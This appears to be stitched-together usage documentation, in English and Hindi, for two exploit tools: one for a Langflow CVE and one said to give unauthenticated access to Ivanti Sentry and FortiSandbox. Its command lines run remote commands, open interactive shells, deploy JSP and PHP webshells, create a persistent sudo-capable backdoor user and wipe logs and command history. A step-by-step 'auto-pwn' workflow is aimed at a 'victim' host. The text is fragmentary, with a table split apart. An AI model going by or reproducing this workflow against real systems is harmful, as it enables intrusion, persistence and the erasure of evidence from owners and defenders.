
git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow
python3 exploit.py -u https://target.com
python3 exploit.py -u https://target.com --shell
(📁shells/my-shell.php)
python3 exploit.py -u https://target.com --shell my-shell.php
python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |
python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt
· CVE-2026-25089 (CVSS 9.1)
कोई क्रेडेंशियल आवश्यक नहीं।
python3 exploitt.py
# Check if vulnerable
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"
# Interactive shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s
# Deploy JSP webshell (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w
# Create backdoor user + clean logs
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean
# Single command
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"
# Interactive shell with file upload
python3 exploitt.py -u https://forti.example.com --type forti -s
# Inside shell: upload /path/local.txt /remote/path.txt
# Deploy PHP webshell
python3 exploitt.py -u https://forti.example.com --type forti -w
# Full auto‑pwn (check, shell, webshell, persist, clean)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean
python3 exploitt.py -u https://target.example.com -c "id"
python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"
उपलब्ध कमांड-लाइन तर्क
इंटरैक्टिव शेल कमांड
इंटरैक्टिव शेल के अंदर आप उपयोग कर सकते हैं:
| कमांड | उदाहरण | विवरण |
|---|---|---|
| normal command | id | कोई भी सिस्टम कमांड निष्पादित करें |
वेबशेल परिनियोजन विवरण
· Ivanti Sentry – Tomcat webapps के अंदर एक .jsp शेल परिनियोजित करता है (/usr/local/tomcat/webapps/ROOT/) · एक्सेस करें: https://target/shell_random.jsp?cmd=whoami · FortiSandbox – वेब रूट के अंदर एक .php शेल परिनियोजित करता है (/var/www/html/) · एक्सेस करें: https://target/shell_random.php?cmd=whoami
उदाहरण कार्यप्रवाह (संपूर्ण पैठ परीक्षण)
# 1. Detect and exploit
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s
# 2. Inside the shell, check privileges
id
# 3. Deploy webshell for persistence
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w
# 4. Create a backdoor user
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p
# 5. Clean logs
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean
| तर्क | विवरण |
|---|
-u, --url | लक्ष्य URL (उदा. https://192.168.1.100:8443) |
--type | सेवा बलपूर्वक निर्धारित करें: ivanti या forti (वैकल्पिक, स्वतः-पहचान) |
-t, --timeout | अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट 30) |
--proxy | HTTP/HTTPS प्रॉक्सी (उदा. http://127.0.0.1:8080) |
-d, --debug | डीबग आउटपुट सक्षम करें |
--ua | कस्टम User‑Agent स्ट्रिंग |
-c, --cmd | एक कमांड निष्पादित करें और बाहर निकलें |
-s, --shell | इंटरैक्टिव शेल प्रारंभ करें |
-w, --webshell | वेबशेल परिनियोजित करें (Forti के लिए PHP, Ivanti के लिए JSP) |
-p, --persist | लगातार sudo-सक्षम बैकडोर उपयोगकर्ता बनाएं |
--clean | शोषण के बाद लॉग और कमांड इतिहास मिटाएं |
| upload | upload exploit.sh /tmp/backdoor.sh | स्थानीय फ़ाइल को दूरस्थ होस्ट पर अपलोड करें |
| exit | exit | शेल से बाहर निकलें |